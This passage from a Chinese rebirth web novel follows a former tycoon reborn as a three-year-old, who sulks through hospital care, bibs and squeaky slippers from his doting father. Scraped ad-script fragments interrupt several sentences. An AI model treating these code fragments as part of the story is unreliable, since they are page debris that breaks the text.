正巧这时,熟悉的护士拿着记录本,推门进来。 江知鱼连忙收回手,两只手放在腿上,乖巧坐好。 护士看见他的动作,没忍住笑了一下,但还是提醒道:“虽然小朋友已经退烧了,但还是要多休息,就让他多睡一会儿吧。” “好的。”江知鱼有苦说不出,决定等陆傲醒了再捏他。 爸爸报仇,十年不晚! 护士回头看了一眼,随后关上病房门,轻声问:“江先生,我能冒昧问您一个问题吗?” “可以啊。”江知鱼点了点头,“你问吧。” “您……”护士犹豫片刻,“您怎么会带着孩子,来我们医院看病呢?” 江知鱼如实回答:“当时情况紧急,你们医院离我们家最近,我就带他过来了。怎么了吗?” “没怎么,就是……”护士愈发压低声音,“我们这里是私立医院,各种收费可能会比公立医院贵很多。” 怕暗示得不够明显,护士继续补充。 “我看您开了一辆小电车过来,想着您家里条件可能不是很好,怕您不知道,所以想提醒您一下。” “我刚才也看了医生对小朋友的诊断,只是普通流感而已。既然小朋友的情况已经稳定了,不如您再带他去公立医院看看?公立医院会便宜很多。” 江知鱼自己都没想到这一点。 这位护士是真正的白衣天使! 他连连摆手:“没关系的,我们家还有点积蓄,给小朋友治病是肯定够的。而且你们医院的环境很好,服务也很好,我们就不挪来挪去的了。不过还是谢谢你。” “好的,那您自己考虑。江先生,您别把我的话告诉别人。” “你放心,我一定保守秘密。” “白衣天使”给陆傲量完体温,做好记录,就出去了。 江知鱼转回头,重新看向躺在病床上的陆傲,再次朝他伸出手。 不过这回,江知鱼没有捏他的脸。 他只是用柔软的指尖,轻轻拂过陆傲皱起的眉头。 这小崽崽怎么睡着睡着就喜欢皱眉头?跟满腹心事的大人似的。 可不知道为什么,指尖拂过,陆傲整只崽抖了两下,眉头反倒皱得更紧了。 奇怪。 他之前好像不是这个反应吧? 江知鱼不解,继续帮他舒展眉头。 柔软洁白的被子下面,陆傲平躺着,身体紧绷,两只手用力握成拳。 没错,他已经醒了! 作为一名优秀的霸总,他对潜伏在身边的各种危险总是格外警惕。 在江知鱼伸手捏他的时候,他就已经醒了。 但他不想睁开眼睛,更不想面对江知鱼。 所以他握拳咬牙,闭眼装睡,努力保持着一个霸总该有的严肃睡姿。 不出意外的话,他可以一直坚持下去,直到江知鱼离开。 二十分钟后—— 意外:我来咯! 一股既熟悉又陌生的感觉涌来。 陆傲忽然……好想尿尿! 5. 肉肉稀饭 5 好想尿尿,好想尿尿…… 不行,霸总要文雅一点。 那就……好想如厕,好想如厕。 病床上,陆傲紧紧地咬着后槽牙,紧紧地攥着拳头,紧紧地绷直身体。 像一条被晒成干的紧巴巴小咸鱼。 江知鱼怎么还不走? 他不是最喜欢出去花天酒地了吗?难道是陆行渊没给够他钱? 江知鱼,我……我现在倒数三个数,你马上拿着陆行渊的钱,出去寻欢作乐! 三! 二! 一! 陆傲在心里倒数三下,然后迅速扭过头,把眼睛睁开一条缝,看向江知鱼。 江知鱼正抱着手,好整以暇地坐在病床边,完全没有要挪动屁股的意思。 还不走?还不走! 明明都不爱他,还要留在这里! 陆傲难得失了霸总风度,在心里碎碎念。 忽然,他的耳边传来椅子腿摩擦地面的声音。 陆傲打起精神,转头看去。 只见江知鱼伸着懒腰,站了起来。 “张大爷,你回来了吗?买了什么菜啊?有辣条吗?我有点饿了。” 江知鱼一边问,一边朝病房外走去。 厨房里的张大爷很是无奈:“先生,辣条不是菜,空腹吃不好。而且小少爷还在生病,您最好也不要吃。” “没关系,我不在他面前吃就好了。” 一声轻响,病房门关上。 陆傲一个猛虎翻身,从病床上爬起来。 他双手握住病床栏杆,一咬牙,一翻身,稳稳地落了地。 病床前摆着一双已经拆开包装的一次性拖鞋,但陆傲来不及穿,他赤着脚,直接冲进卫生间。 他住的是专门的儿童套间病房,不仅有两个陪护房间和独立卫浴,还有厨房和大阳台。 房间里的设施,基本上有两款。 一个正常款,给陪护的成年人使用。 一个儿童款,形状造型都小一些,使用方法也更简单,给住院的儿童使用。 陆傲大步走到成人马桶前,脱掉裤子,直接跳了上去。 就算双脚踩不到地,在半空中晃来晃去,他也不觉得有哪里不对。 他是二十八岁的成年人,当然要用成人马桶! 解决了生理需求,陆傲紧紧皱着的眉头终于松开。 不对,还有一件事! 陆傲重新皱起小脸,扭头看向自己的屁股。 就在不久前,江知鱼让人给他打屁股针,他的屁股到现在还隐隐作痛! 可是他左看右看,就是找不到针孔。 说来也奇怪,打针的时候,他被江知鱼抱在怀里,莫名觉得剧痛难忍。 像是他身上有一个疼痛开关,江知鱼一按开关,就把他的痛觉放大一百倍。 又像是他身上有一个眼泪阀门,江知鱼一开阀门,就把他的眼泪全部放出来。 当时的他甚至觉得,在江知鱼怀里打针,比开枪自杀还痛。 现在江知鱼不在这里,他就不是特别痛了。 算了,区区小伤,不必在意。 陆傲从马桶上跳下来,提好裤子,按下冲水键,下意识来到成人洗漱台前。 他抬起头,可下一秒,就愣住了。 他还没有洗漱台高! 他看不见洗漱台上的水龙头! 嵌在台前墙上的镜子,甚至照不到他的头顶! 陆傲不敢相信地睁大眼睛。 怎会如此?! 陆傲环视四周,忽然,儿童洗漱台的镜子里冒出一个怪模怪样的东西。 这是什么?一头奶牛?卫生间里怎么会有这种东西? 陆傲被吓了一跳,下意识后退半步,摆出防御姿态。 镜子里的东西却跟着他的动作,也后退半步。 陆傲似有所感,试探着举起手。 那东西也跟着他举起手。 这下陆傲能确定了。 这个怪模怪样的小东西,就是他自己! 被江知鱼带来医院,挨了一针,还在病床上躺了这么久,陆傲早就明白了一切。 他没死,也没下地狱。 他这是重生了,重生回到小时候。 可他没有想到,小时候的自己,竟然是这副蠢样! 镜子里的他,完全就是三岁小孩的模样。 他引以为傲的188身高,变成矮墩墩的“小冬瓜”身材。 他精壮有力的手臂,变成圆滚滚的小肉胳膊。 他挺拔修长的双腿,变成粗短短的“小火腿”。 他阴郁俊朗的面容,也变成肉乎乎的小脸蛋。 而他之所以把自己错认成“小奶牛”,是因为他身上穿了一套奶牛花纹的紧身秋衣! 这件衣服绝对不可能是他自愿穿上的,所以…… 江!知!鱼! 你的品味真的很差! 陆傲咬紧牙关,握紧拳头,朝镜子里的自己重重挥出一拳! “哐”的一声,镜里镜外,两拳相接。 陆傲抬起头,凝视着镜中的自己。 镜中的陆傲也抬起头,凝视着现实里的他。 一片沉默之中,四目相对之间。 目光穿透瘦弱的身材和稚嫩的脸庞,陆傲在自己眼里,看到了熟悉的坚定和果断。 前世的他,身形高大,相貌英俊,处事果决,雷厉风行。 他十八岁大学毕业,二十岁全面接管陆氏集团,二十三岁登上国际金融周刊封面。 尽管后来,他因为心理原因,选择在海岛别墅里隐居,但上层社会仍然流传着关于他的传说。 他们说他是孤岛上的基督山,古堡里的吸血鬼。 所以—— 就算他的身形样貌,全部变成三岁,但他的学识、内涵,以及品格,都不会变。 他还可以凭借前世二十八年的记忆,逆天改命! 剧情设定他是见不得光的阴暗反派,他偏不信,他偏要当堂堂正正的龙傲天! 陆傲缓缓收回拳头,下定决心。 这一次,他要用最科学、最系统的理论,为自己制定一个最优秀、最完美的成长计划! 这一次,他要努力摆脱虚情假意的原生家庭,他要摆脱虚荣的爸爸,摆脱冷漠的大爸爸! 这一次,他一定会过得比前世更好…… ——“嗷嗷?” 宣誓的话还没说完,门外忽然传来一声呼唤。 陆傲不由地皱起小脸,回头看了一眼。 是江知鱼的声音,但是…… 江知鱼怎么总是这样说话? 不是“嗷嗷”,就是“呜呜”,再不然就“哼哼唧唧”的,像小猪一样。 一点都不成熟稳重! 陆傲完全没有联想到自己身上,他以为“嗷嗷”是江知鱼自带的语气词。 这时,门外再次传来熟悉的声音。 “嗷嗷?我的小崽崽?你跑哪里去了呀?刚刚不是还在床上躺着吗?怎么一转眼就不见啦?” 该面对的,迟早要面对。 陆傲无奈地叹了口气,对着镜子整理了一下自己的仪容仪表,然后一把拉开卫生间的门,走了出去。 只见江知鱼蹲在床边,撩起床单,看向床底:“小崽崽?” 没找到崽,江知鱼朝床头柜底下喊了一声:“在这里吗?” 还是没找到,江知鱼提起地上的一次性拖鞋:“不会被粘在鞋底了吧?” 陆傲无奈地叹了口气,昂首挺胸,走到他面前。 别找了,他在这里。 他又不是蚂蚁,怎么会在鞋底? 江知鱼看起来笨笨的。 “噢——原来我的小崽崽在这里啊——” 江知鱼假装现在才看见陆傲,故意拖着长音说话。 陆傲不自觉抬了抬下巴。 江知鱼笑得眉眼弯弯,又故意问:“你的私人小秘密,在厕所里解决啦?” 陆傲睁大眼睛:“什么……” 什么小秘密? 江知鱼怎么知道? 难道刚才,江知鱼看出他已经醒了,是故意留他一个人在病房里的? 不可能,他的演技如此精湛,江知鱼又如此傻蛋,他才不可能看出来。 那…… 就在陆傲认真思考的时候,江知鱼一伸手,直接把他抱了起来:“那你现在有时间了?让医生进来给你检查一下。” 陆傲来不及防备,直接腾空:“住手!” 他不是小孩,不要抱他! 江知鱼把他放在病床上,朝门外喊了一声:“可以进来了。” 病房门被推开,几个医生护士走了进来。 走在最前面的护士拍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了一下手,引起陆傲的注意力。 “小朋友,你醒啦?叔叔阿姨来给你检查一下身体。你现在感觉怎么样?头晕不晕啊?” 陆傲盘腿坐在病床上,面无表情。 他不是小孩,不要用这种语气跟他说话。 但出于礼貌,他还是言简意赅地回答了:“不晕。” “那你感觉一下,身上会不会烫烫的啊?” “不烫。” “那阿姨给你量一□□温,好不好啊?” “好。” 陆傲抬起头,配合地让他们把体温枪对准自己的额头。 “哇,小朋友真厉害,都知道怎么量体温了,给你大拇指!” 陆傲清了清嗓子,头扬得更高了。 “小朋友,现在医生来听一下你的心跳,好不好?” 陆傲再次扬起脑袋。 “哇,小朋友早上打针的时候还忍不住哭了,现在量体温、听心跳,一点都不害怕,好像一秒钟就长大了!” 提到打针,陆傲哽了一下,抬得很高的头终于低了下去。 早上那是有特殊原因的,他已经说过了。 反正……都怪江知鱼! 陆傲余光一扫,看见病床旁边的江知鱼正捂着嘴偷笑,更生气了。 江知鱼,你还敢笑?有什么好笑的? 我们现在……暂时还是父子关系,他们嘲笑我,就是嘲笑你。 你不帮忙维护我的形象就算了,你还傻乐,简直是傻蛋! 陆傲甩了个锋利的眼刀过去。 前世他的助理、下属或员工,看见他这个表情,马上就知道他心情不好。 但江知鱼完全没有接受到他的不悦,反倒换了只手捂着脸,别过头去,继续偷笑。 陆傲气鼓鼓地转回头,继续接受检查。 医生好心提醒他:“小朋友,不要憋气噢。” 陆傲瘪了瘪嘴,把肚子里的气全部呼出去。 二十分钟后,检查结束。 医生摘下听诊器,下了结论:“小朋友目前没什么问题了,按时吃药就好。不过最好还是住院观察几天,看会不会反复发烧。” “这阵子要清淡饮食,多喝水、少吃零食、多休息、多睡觉,看电子产品最好不要超过半个小时。” “住院楼底下就有一个小花园,傍晚的时候,可以过去散散步,但是注意不要剧烈运动。” “有事情再随时喊我们。” ——“好的……” 父子二人同时开了口。 江知鱼好笑地看向陆傲,陆傲不想理他,别过头去,对医生护士微微颔首:“谢谢,辛苦了。” 客套的话语、严肃的表情,由一个三岁崽崽表现出来,好像有点不对劲。 但他们也没太在意,只当是小孩子爱模仿,再叮嘱了一些注意事项,便离开了。 医生护士走后,墙上的时钟指针正好指到十一点的位置。 江知鱼给陆傲倒了杯温水,让他自己端着喝。 陆傲则把杯子里的吸管拨到一边,直接对着杯口喝。 “你先在病床上休息一下,爸爸去厨房看看,张大爷的肉肉稀饭做好了没有。” “好……”陆傲点头,正好他也饿了。 不对,等一下! 肉肉稀饭是什么东西? 陆傲坐直起来,眉心一跳,感觉不妙。 他记得,老张管家最拿手的菜,是法式松露鹅肝和挪威烟熏三文鱼。 至于肉肉稀饭…… 他从未在霸总食谱上见过这道菜! 江知鱼去厨房看了一眼,拿了点东西,马上就回来了。 “稀饭要放凉一点再吃,先把饭前准备做好。你刚刚在卫生间洗手了吗?” “洗了。” “那就不用再洗了。头抬起来,爸爸给你戴上。” 戴上什么? 陆傲定睛一看,只见江知鱼手里拿着餐具和……口水兜! 知名动画片《喜羊羊与灰太狼》,懒羊羊同款的鹅黄色口水兜! 餐具也是儿童餐具,一柄印着青草蛋糕的塑料小勺子! 陆傲眉心狂跳,满脸戒备,不由地往后退了退。 放肆!退下! 霸总命令你,把这些东西都拿下去,丢得远远的! 就算你是我爸爸也不行! 住手!啊—— 6. 烧包 6 ——江知鱼,你的品味真的很差! 陆傲穿着奶牛小睡衣,围着懒羊羊口水兜,握着青草蛋糕儿童勺,气鼓鼓地坐在病床上。 他生气,他愤怒,他难堪。 他怒火中烧,他悲愤交加。 他……他简直要被气死了! 讨厌的江知鱼,竟敢把他打扮成这副愚蠢幼稚的模样! 陆傲攥着拳头,绷着小脸,凶巴巴地盯着江知鱼。 像一只正在喷火的小恶龙。 但江知鱼好像完全没有注意到他的怒火。 或者说,他注意到了,但他故意不理会。 江知鱼把病床旁边的小桌板打开,抽出湿纸巾,里里外外、认认真真擦了两遍。 生气也是需要力气的,等陆傲累了,自然就不气了。 果然,没过几分钟,陆傲的肚子咕噜噜叫了起来。 他垂下眼睛,目光也不像刚才那样凶了。 陆傲在心里告诉自己—— 小不忍则乱大谋! 现在吃什么、穿什么、住什么,都不重要,重要的是他要吃饱喝足,养精蓄锐! 陆傲下定决心,抬起头,正巧对上江知鱼含笑的目光。 江知鱼伸出一根手指,轻轻戳了一下他握得紧紧的小肉拳头:“干嘛生闷气?嗯?你想把手里的勺子掰断?像电视上演的霸道总裁一样?” 陆傲没说话,目光却顺着江知鱼的手,落在了口水兜上。 江知鱼又帮他调整了一下歪掉的口水兜:“觉得口水兜很难看吗?可是这是爸爸去青青草原打猎的时候,特意带回来的,懒羊羊大王同款,有品位的小朋友都戴这个款式。” 陆傲张了张口,最后憋出来两个字:“没有。” 他没有觉得口水兜很难看,他只是不想戴,什么颜色、什么图案都不想戴。 他不是小孩,他是大人。 陆傲不肯多说,江知鱼也不催他,只是坐在病床旁边,安安静静地等他。 三分钟后,陆傲终于开了口。 他喊了一声:“江知鱼。” “嗯……嗯?”江知鱼震惊。 不是,你喊我什么? 陆傲握紧拳头,鼓起勇气:“劳驾,我想要一柄正常的、普通的勺子,谢谢。” “正常的?普通的?”江知鱼很快就反应过来,“你想要大人用的勺子?” “对,有劳。” “你现在才三岁,嘴巴没长大,还不适合用大人的勺子,你确定要?” “确定。”陆傲严肃点头。 这是他现在唯一的坚持。 “好吧,给你拿。” 江知鱼起身去厨房拿勺子。 正好这时,稀饭也凉得差不多了。 江知鱼让张大爷歇一会儿,自己拿了个不锈钢的小饭盆,盛了半碗稀饭,放上不锈钢的小汤勺,端进去给陆傲。 陆傲盘腿坐在小桌板前,已经把脖子上的口水兜解下来了。 江知鱼看了一眼,也没有多说什么,只是让他吃饭。 所谓的肉肉稀饭,其实就是加了胡萝卜、玉米、青菜、虾仁和牛肉的大米稀饭。 食材丰富,营养全面,色香味俱全。 老张管家的手艺是信得过的。 陆傲左手扶盆,右手握勺,舀起一勺稀饭,送到嘴边。 可是他刚张开嘴,大半勺稀饭在他嘴边糊了一圈,到此一游,然后迅速逃走,“啪叽”一声,掉回碗里。 再试几次,还是这样。 和江知鱼说的一模一样。 陆傲有点尴尬。 他抬起头,看向江知鱼。 但江知鱼好像没看见他的糗样。 把饭盆端给他之后,江知鱼就捧着自己的小碗,也去厨房舀了碗稀饭。 他端着碗,一边大喊“烫烫烫”,一边快步跑进病房,把碗放在病床对面的小茶几上。 江知鱼就坐在茶几前吃午饭,似乎完全没有注意陆傲这边。 不管是用儿童勺,还是成人勺,只要陆傲能吃上饭就好,他不会管这么多。 陆傲犹豫着,悄悄伸出手,把自己放在旁边的口水兜和儿童勺都拿回来。 他把口水兜用西餐餐巾布的方式叠好,塞进衣领里,然后用两根手指捏着勺子,用舀奶油浓汤的方式,舀起一勺稀饭,送进嘴里。 即使身为崽崽,也要吃得体面。 陆傲就以这种优雅体面的方式,吃了两大盆肉肉稀饭! * 吃完午饭,张大爷进来把碗勺收走,就下去休息了。 江知鱼扯了一张儿童湿纸巾,糊在陆傲脸上:“熊二,擦擦你的小脏嘴。” 陆傲面无表情,把湿纸巾从脸上扯下来。 他知道熊二是谁,熊二就是动画片里那头傻乎乎的熊,嘴巴旁边糊了一圈脏兮兮的毛。 江知鱼又在嘲笑他。 陆傲胡乱擦了把脸,就要把湿纸巾丢掉:“好了。” 江知鱼正色道:“认真擦,你脸上的米汤都没擦掉,等一下干掉了,我帮你擦,直接撕掉你一层皮。” 陆傲震惊,对上江知鱼故作严肃的目光,莫名感觉到一股来自血脉深处的压制,下意识捡起湿纸巾,重新擦嘴。 江知鱼不只是虚荣吗? 他怎么还撕人皮啊? 陆傲双手抓着湿纸巾,把嘴巴里里外外、上上下下,仔仔细细擦了几遍。 “好了。” “爸爸检查一下。” 陆傲抬起头,江知鱼抱着手,认真地看着他。 “可以了,把纸团丢掉。” 陆傲乖乖照做。 江知鱼扭头看了一眼时钟:“你刚吃完饭,等一下还要吃药。现在是大中午,太阳很大,也不能出去玩。所以你是想看电视,还是想看绘本?” 陆傲想了想:“看电视。” “行,但是只能看半个小时。” 病床前面就有壁挂电视,电视是联网的,医院甚至统一购买了可以观看所有影片的超SVIP,打开就自动登录。 江知鱼拿着遥控器,按到少儿专区,问:“你想看《喜羊羊》,还是《熊出没》?《汪汪队》也出最新一季了,你想看哪个?” “嗯……”陆傲思考。 这些动画片他都没看过,但从名字来看的话,他更想看…… 不对!等一下! 他为什么要这么听江知鱼的话? 他为什么一定要从江知鱼的推荐里面选? 陆傲猛地反应过来,挣脱血脉压制,找回独立意识。 “我要看《午间新闻》!” “嗯……嗯?!” 江知鱼睁圆眼睛,有些疑惑地看着他。 陆傲再次说明:“请帮我打开《午间新闻》。” “你确定?” “确定,谢谢。” “我是你爸,不用客气。” 虽然不理解,但江知鱼还是按照他的要求,打开了新闻频道。 时间正好,《午间新闻》直播刚刚开始。 主持人庄重的声音,从电视里传出来。 “捕捉全球动态,传播时事新闻。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 观众朋友们,中午好,今天是……” 陆傲盘着腿,坐在病床上,目光专注地盯着屏幕。 江知鱼见他看得认真,也没再打扰他,在病床旁边的沙发上坐下。 他撑着头,陪着陆傲看了一会儿新闻,看得他昏昏欲睡。 这小崽子,看新闻就算了,还要看多国语言的。 他一个字都听不懂。 实在撑不住了,江知鱼抹了把脸,拿出手机,开始噼里啪啦地打字。 【陆行渊,你到哪儿了?】 【你儿子退烧是退烧了,但是整只崽忽然变得很烧包】 【脸上表情拽拽的,说话语气欠欠的,吃饭要用西餐礼仪吃,看电视还要看午间新闻】 【你快回来,我一爸应付不来!】 【仓鼠呐喊.jpg】 这个点,陆行渊应该在飞机上。 虽然飞机上可以上网,但江知鱼怕陆行渊担心,也没敢把这些话发出去,只是在对话框里打打字、在心里大声呼喊。 在江知鱼不知道的地方,陆傲扭过头,飞快地看了他一眼,又马上转回头去。 忽然,他的耳边传来故作冷淡的一句话—— “别白费力气了,他不会过来的。” “啊……啊?” 江知鱼愣了一下,疑惑地抬起头。 谁在说话? 只见陆傲坐在病床上,身板挺直,目不斜视。 只留给他一个严肃冷酷的侧脸。 江知鱼更疑惑了:“崽,你刚刚说什么?” 陆傲平视前方,看着电视,不愿再说。 江知鱼这个傻蛋,作为他生理意义上的父亲,竟然毫无城府,什么事情都写在脸上。 他一眼就看出来了,江知鱼是在给他那个冷漠无情的大爸爸发消息。 或许是撒娇扮痴,或许是苦苦哀求,或许还拍了他在病床上的照片,求陆行渊过来看看他们。 ——小说里都是这样写的。 但陆行渊这种人,眼里心里只有他的集团、他的事业,他怎么可能在乎家族联姻的配偶?怎么可能在乎因为联姻才出生的儿子? 所以他劝江知鱼,别白费力气。 陆傲再次转过头,见江知鱼还没转过弯来,仍是一副笨笨呆呆的模样,没忍住叹了口气。 他已经提醒过江知鱼了,听与不听,都是他自己的事情。 他可没有拯救“豪门怨夫”的想法。 他只是……有点看不过去而已。 没错,他只是看不过去而已。 江知鱼虽然虚荣,但确实带他来了医院,陪他看病,还留下来陪护。 不像冷漠无情的陆行渊,到现在都还没露过面。 请不要误会,他没有偏向江知鱼的意思,他只是就事论事而已。他没有不恨江知鱼,他只是更恨陆行渊而已。他是个知恩图报的人,江知鱼带他来看病,他会回报的。他只是随口提醒江知鱼一句而已,没有要保护他的意思,更没有不恨他的意思。如果陆行渊一直冷暴力江知鱼,他还是会出来主持公道的。如果陆行渊真的靠不住,他还是会保护江知鱼,给他养老的。但这绝不是因为他不恨江知鱼,他还是很恨江知鱼的,他不可能在短短几个小时内就原谅江知鱼。 电视画面在眼前闪过,电视声音从耳边划过。 “巴拿拿总统于今日访华……” “鼓励发展新兴行业……” “今日股市……” 陆傲面不改色,岿然不动。 他的脑子里只有一个念头—— 请不要误会! 7. 叫叫鞋 7 半个小时后。 “观众朋友们,今天的午间新闻,到这里就全部结束了。我们明天同一时间,再见。” “噔噔噔——” 在悠扬的音乐声中,电视里的主持人低下头,认真整理新闻稿件。 电视外的陆傲身板挺直,表情严肃,抬手整理了一下睡衣衣领。 江知鱼坐在病床旁边的沙发上,撑着头,一脸迷惑地看着他。 不是。 如果他没记错的话,这只……这位崽崽,只是坐在电视机前,看了一场新闻直播,他应该没有钻进电视机里,和各国领导人会面吧? 那他这是在干什么? 嫌弃的小眼神太过明显,陆傲察觉到了。 他回过头,看了一眼江知鱼,用目光质问他—— 你干嘛? 江知鱼笑了笑,换了只手撑着头,问:“崽,你想不想去测测智商?” 陆傲皱眉反问:“之前没测过吗?” 他记得,前世他刚满三岁的时候,就被带去测过智商。 当然不是他还有这方面的记忆,而是他长大以后,在家里看到过当时的检测报告。 检测报告上有他的基本信息,包括姓名、性别和接受检测时的年龄。 报告显示,他在三岁零一个月的时候,智商就达到了惊人的140! 不知道是谁,用鲜艳的红色记号笔,在检测分数旁边,龙飞凤舞地写下“家有小天才”五个大字,又用金色相框把报告裱起来,挂在玄关处,和那些价值不菲的世界名画并排展示。 不管是主人,还是客人,只要推门进来,第一眼就能看见。 陆傲当然也看到过。 但是后来,家里只剩下陆傲一个人。 在某个深夜,正值青春期的、十三岁的陆傲,从噩梦中惊醒,抄起棒球棍,把家里砸了个稀巴烂。 就这样,那张检测报告和破碎的相框一起,消失在废墟里,再也找不到了。 这也是陆傲重生之后,没有刻意装傻扮痴的原因。 他可是三岁小天才,表现得成熟一点,很正常吧? 陆傲不自觉坐直一些,了然地看向江知鱼。 现在看来,那个写下“家有小天才”,并且给报告裱框的人,肯定是江知鱼。 他真的很爱炫耀! 不过,他这种高智商崽崽,确实也很拿得出手就是了。 “对呀对呀。”江知鱼笑着应道,“之前有检测过,但是爸爸觉得你又变聪明了,要不要再去检测一下,看有没有进步?” “那好吧。”陆傲勉为其难地点了点头。 “那等你病好了,爸爸就带你去。”江知鱼拿起遥控器,把电视关掉,“差不多可以吃药了,先吃药。” “嗯。” 江知鱼给陆傲倒了杯温水,让他自己端着,又拿出医生开的药。 陆傲年龄太小,医生不敢开太多太重的药,就一颗小药片,外面还裹着绿色的糖衣。 江知鱼提醒他:“这个是药,不是糖果。不可以一直含在嘴里,必须一口气吞下去。” “我知道。”陆傲伸手接过药片,丢进嘴里,喝口水,一抬头,就直接咽下去了。 “爸爸检查一下。啊——” 陆傲面无表情,张开嘴巴。 江知鱼仔细看看,确认他把药吞下去了,才托着他的下巴,让他把嘴巴闭上。 医生叮嘱过,要陆傲多休息、多睡觉。 但他刚刚吃完药,不能马上躺下。 江知鱼就带着他一起收拾行李。 张大爷出去一趟,既要回家收拾东西,又要去菜市场买菜,匆匆忙忙的,他也来不及细看,随手一抓,拎着两个大行李箱就过来了。 一个箱子里装的是陆傲的衣服,另一个箱子里装的则是陆傲的玩具。 江知鱼打开行李箱,把衣服全都拿出来,和陆傲一起收拾,顺便让他自己决定明天穿什么。 陆傲沉默着,在衣服堆里翻找。 一件斑马花纹的秋衣。 一条满是史努比印花的秋裤。 一套太阳蛋图案的鹅黄色背带裤。 江知鱼期待地看着他,问:“怎么样?想穿哪一件?” 陆傲面无表情地抬起头,没有说话。 江知鱼眨巴眨巴眼睛,一脸无辜:“这几件衣服你都很喜欢,决定不出来?” 陆傲深吸一口气,终于开了口:“请问,江知鱼,我能不能穿病号服?” 江知鱼笑容凝固。 说他有礼貌吧,他喊爸爸的大名。 说他没礼貌吧,他还知道要加一个“请问”。 “斑马衣服和病号服一样,都是竖长条纹的。” “不要,像囚服。” “怎么会像球服嘞?上面都没有数字。” “有数字就代表已经被抓进去编号了!” “对呀,球服就是要编号啊,不然怎么上场?” “嘎嘎嘎!” “叽叽叽!” ——鸡同鸭讲。 父子二人讲了半天,也没搞清楚对方嘴里的“Q服”到底是什么服。 最后,陆傲从病床上站起来,一挥小手。 “我陆傲一生行事,坦坦荡荡,光明磊落!反正我绝对不穿囚服!” 江知鱼被他忽然的动作吓到,双手捂着心口,连连后退。 陆傲说完话,皱起眉头,表情疑惑地看着他。 “你怎么了?” “怕被你撞。” 江知鱼清了清嗓子,重新摆出爸爸的威严:“你确定要?” 陆傲用力点头:“确定。” “那我去问问值班护士,你先把衣服收拾一下。” “好。” 江知鱼转身出去,陆傲重新在病床上坐下,闭上眼睛,把衣服叠好,塞回行李箱。 江知鱼,你的品味…… 算了,这句话他已经说累了。 没多久,江知鱼就拿着一套儿童病号服回来了。 “给,你要的病号服,能自己换衣服吗?” “能。” 陆傲接过衣服,跳下病床,刚准备去卫生间,就被江知鱼喊住了。 “穿上拖鞋,不许光着脚在地上走。等一下小虫子顺着你的脚趾缝爬上来,钻进你的喉咙里,给你挠痒痒,让你‘咳咳咳’。” 他看起来很像三岁小孩吗? 噢,他不像,他现在就是。 陆傲叹了口气,回过头去。 他记得,他之前去上厕所的时候,看见地上摆着一双一次性拖鞋,现在应该还在。 就在这时,江知鱼从行李箱里拿出一个密封的防尘袋。 “张大爷真仔细,连拖鞋都带了。穿这个吧。” “嗯。” 陆傲眼睁睁地看着江知鱼从防尘袋里掏出一双塑料小拖鞋。 0-5岁儿童最爱。 经典款红蓝配色。 左脚奥特曼,右脚小怪兽。 陆傲转身就走:“我要穿一次性拖鞋。” “不可以。”江知鱼伸手揪住他的衣领,直接把他抓回来,“一次性拖鞋太大了,鞋底也不厚,你穿着容易摔倒,我刚刚就丢掉了,还是穿我们自己的。” 陆傲抬起头,问:“这次没有商量的余地吗?” 江知鱼果断拒绝:“没有。” “住手——” 在陆傲抗拒的大喊中,江知鱼两只手穿过他的胳肢窝,把他架了起来。 “江知鱼,你在干什么?简直放肆!” 江知鱼架着他,让他的双脚对准小拖鞋,然后直接放下去。 只听见“嘎吱——”一声,整个世界都安静了。 江知鱼愣住了,陆傲也愣住了。 下一秒,父子二人同时反应过来。 江知鱼试图解释:“这双是‘叫叫鞋’,张大爷可能不懂,随便拿了一双。” 陆傲挣扎得更厉害了:“什么‘叫叫鞋’、‘嗷嗷鞋’?我不要!松开我!” “只有这双拖鞋了,没关系的,这里又没有别人。” “不要!” “陆傲,爸爸数到三,把拖鞋穿上。” 陆傲抬起头,对上江知鱼严肃的目光,下意识应了一声:“我自己穿。” 那股来自血脉深处的压制,再次控制住了他。 陆傲闭着眼睛,一咬牙,一狠心。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 左脚踩下去的瞬间,嘎吱—— 右脚踩下去的瞬间,噗啾—— 陆傲一步一个脚印,朝卫生间走去。 嘎吱——噗啾—— 他走进卫生间,把门关好,开始换衣服。 三秒之后,卫生间里再次传来他的怒吼—— “啊!” 为什么他的四角小裤裤也是奥特曼的? 江知鱼,我恨你一辈子! * 虽然是儿童病号服,但对陆傲来说,还是有点大。 他需要把衣袖和裤脚挽起来、折两折,才正正好好。 换好衣服出来,父子二人像是在闹脾气,谁都没跟谁说话。 估摸着时间差不多,药片进了肚子,江知鱼就让陆傲躺下睡觉。 陆傲本来想说,他上午睡了太久,中午肯定睡不着。 不如做点更有意义的事情。比如让他一个人待一会儿,思考一下人生。 可是,陆傲平躺在病床上,江知鱼坐在病床边。 隔着柔软的被子,江知鱼的手轻轻按在他的心口上,一下一下有节奏地拍着。 前世陆傲吃安眠药都无法酝酿出来的睡意,现在像潮水一般涌来,将他包围。 睡过去之前,陆傲的最后一个想法是—— 魔咒!这一定是魔咒! 江知鱼给他下咒了,他绝对不能让江知鱼……得逞…… zzz……ZZZ…… 陆傲就这样睡着了。 * 或许是因为刚刚重生,或许是因为生病嗜睡。 陆傲睡得很熟。 不知道过了多久,他的耳边忽然传来老张管家的声音。 “小少爷?小少爷,可以起床了。现在睡太久,晚上就睡不着了。” 陆傲下意识翻了个身,摆了摆手:“老张管家,你太没规矩……” 话没说完,陆傲猛地反应过来,腾地一下从床上坐起来。 他现在不是二十八岁的霸总陆傲,他是三岁崽崽。 陆傲转头看向张大爷。 张大爷坐在病床边,就是江知鱼常坐的那个位置。 或许是他话说得太小声,又或许是张大爷人到中年,有点耳背。总之,张大爷面色如常,好像并没有察觉到有哪里不对。 陆傲松了口气,张大爷带他去卫生间漱口洗脸,清醒一下。 洗漱完,喝了杯温水,张大爷又拿出玩具让他玩。 陆傲随手拿起一个滑动拼图,打乱又拼好,拼好又打乱。 他一边玩拼图,一边思考接下来的计划。 今天中午,他收看了午间新闻,也大概弄清楚目前的新兴行业和世界局势。 他给自己定下三个重生目标—— 第一,他要多多吃饭,勤加锻炼,争取早日长大长高,至少不能再被江知鱼拎来拎去的。 第二,他要养精蓄锐,暗中发展。不管是股市炒股,还是电脑黑客,他都可以去试试。 